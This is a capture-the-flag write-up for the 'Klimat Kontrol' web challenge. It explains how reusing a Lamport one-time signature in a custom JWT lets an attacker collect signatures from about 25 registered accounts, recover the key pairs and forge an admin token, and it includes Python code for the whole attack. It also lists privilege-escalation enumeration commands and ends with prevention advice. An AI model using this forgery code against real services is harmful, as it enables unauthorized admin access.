165 - Klimat Kontrol (Climate Control)
165 - Klimat Kontrol (Climate Control)
Platform: Duckerz CTF | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-15 | Status: Solved Techniques: lamport_key_recovery, jwt_forgery, signature_collection, bit_manipulation
Summary
ClimaGlow - a microclimate and lighting management system for office spaces. The service allows controlling air conditioners and lighting fixtures in various building zones.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
duckerz| ID:20260115_duckerz_165_klimat_kontrol - Tags: flask, jwt, privilege_escalation, md5, lamport_signature, one_time_signature, base85
- Indicators: custom JWT algorithm, Lamport in alg field, 128-element signature array, Base85 encoded token, role field in payload
- Source:
20260115_duckerz_165_klimat_kontrol.md
Foothold
Vulnerability / Misconfiguration
- Lamport_key_recovery
- Jwt_forgery
- Signature_collection
- Bit_manipulation
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- lamport_key_recovery
- jwt_forgery
- signature_collection
- bit_manipulation
- Tags: flask, jwt, privilege_escalation, md5, lamport_signature, one_time_signature, base85
Original Writeup
<details><summary>Click to expand original content</summary>Description
ClimaGlow - a microclimate and lighting management system for office spaces. The service allows controlling air conditioners and lighting fixtures in various building zones.
URL: http://tasks.duckerz.ru:30037
Reconnaissance
- Technology Stack: Flask/Werkzeug application
- Authentication: Registration/login system with JWT token stored in cookie
- Token Encoding: Base85 (RFC 1924)
- Signature Algorithm: Custom "Lamport" (Lamport one-time signature scheme)
Token Structure Analysis
Decoding the Base85 token reveals a JSON structure:
{
"header": {"alg": "Lamport", "typ": "JWT"},
"payload": {"user_id": X, "username": "...", "role": "user"},
"signature": [array of 128 strings]
}
Key observations:
- 128 signature elements = 128 bits = MD5 hash length
- Each signature element corresponds to one bit of the message hash
- Payload is serialized with
json.dumps(payload, separators=(',', ':'))
Vulnerability Analysis
Lamport One-Time Signature Scheme
Lamport signature is a hash-based one-time signature scheme:
- Key Generation:
- Generate 256 random secret keys:
sk[0][0..127]andsk[1][0..127] - Public keys are hashes of secret keys
- Signing:
- Hash the message to get 128 bits
- For each bit
i: ifbit[i] = 0, revealsk[0][i]; ifbit[i] = 1, revealsk[1][i]
- Critical Weakness:
- Each signature reveals exactly half of the secret keys
- After collecting enough signatures for different messages, an attacker can recover ALL secret keys
- With all keys, arbitrary messages can be signed
Attack Vector
If we register multiple users, each gets a token with a different payload (different user_id, username). Each token's signature reveals 128 keys (one per bit position). By collecting ~20-30 tokens, we can statistically recover both keys for each of the 128 positions.
Exploitation
Step 1: Collect Tokens
Register approximately 25 users and collect their JWT tokens:
import requests
import base64
import json
tokens = []
for i in range(25):
username = f"user{i:04d}"
# Register user
requests.post(f"{URL}/register", data={"username": username, "password": "pass123"})
# Login and get token
resp = requests.post(f"{URL}/login", data={"username": username, "password": "pass123"})
token_b85 = resp.cookies.get('token')
token_json = base64.b85decode(token_b85).decode()
tokens.append(json.loads(token_json))
Step 2: Build Signature Key Database
For each bit position, collect both possible signature values:
import hashlib
# sig_pairs[i] = {0: key_for_bit_0, 1: key_for_bit_1}
sig_pairs = [{} for _ in range(128)]
def get_bits(payload):
"""Get 128 bits from MD5 hash of payload"""
payload_str = json.dumps(payload, separators=(',', ':'))
h = hashlib.md5(payload_str.encode()).digest()
bits = []
for byte in h:
for j in range(8):
bits.append((byte >> (7-j)) & 1)
return bits
for token_data in tokens:
payload = token_data['payload']
signature = token_data['signature']
bits = get_bits(payload)
for i, (bit, sig) in enumerate(zip(bits, signature)):
sig_pairs[i][bit] = sig
# Check coverage
missing = sum(1 for sp in sig_pairs if len(sp) < 2)
print(f"Missing key pairs: {missing}/128")
Step 3: Forge Admin Token
Create a payload with admin role and construct valid signature:
# Use an existing user_id to avoid database issues
admin_payload = {
"user_id": tokens[0]['payload']['user_id'],
"username": tokens[0]['payload']['username'],
"role": "admin" # Changed from "user" to "admin"
}
# Get bits for admin payload
admin_bits = get_bits(admin_payload)
# Build signature using collected keys
admin_signature = []
for i, bit in enumerate(admin_bits):
if bit in sig_pairs[i]:
admin_signature.append(sig_pairs[i][bit])
else:
raise Exception(f"Missing key for position {i}, bit {bit}")
# Construct forged token
forged_token = {
"header": {"alg": "Lamport", "typ": "JWT"},
"payload": admin_payload,
"signature": admin_signature
}
# Encode as Base85
forged_b85 = base64.b85encode(
json.dumps(forged_token, separators=(',', ':')).encode()
).decode()
print(f"Forged token: {forged_b85}")
Step 4: Access Admin Panel
# Use forged token to access admin panel
cookies = {'token': forged_b85}
resp = requests.get(f"{URL}/admin", cookies=cookies)
print(resp.text)
Flag Location
The flag was displayed in the admin panel under "Sluzhebniy identifikator" (Service identifier).
Mathematical Background
Why ~25 Users is Enough
For each bit position, we need both the 0-key and 1-key. Each user's payload hash has roughly 50% zeros and 50% ones. The probability of NOT getting both keys for a position after n users is approximately:
P(missing) = 2 * (0.5)^n
For n=25: P(missing) ≈ 0.00006%
Expected missing positions after 25 users: 128 * 2 * (0.5)^25 ≈ 0.008
So 25 users gives us >99.99% confidence of full key recovery.
Prevention
- Never reuse Lamport keys - generate new key pair for each signature
- Use proper JWT libraries with standard algorithms (RS256, ES256)
- If using one-time signatures, implement proper key management with key rotation
- Consider stateful signature schemes like XMSS or SPHINCS+ for hash-based signatures
References
- Lamport Signature - Wikipedia
- Hash-based Signatures - NIST
- RFC 1924 - Base85 Encoding
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR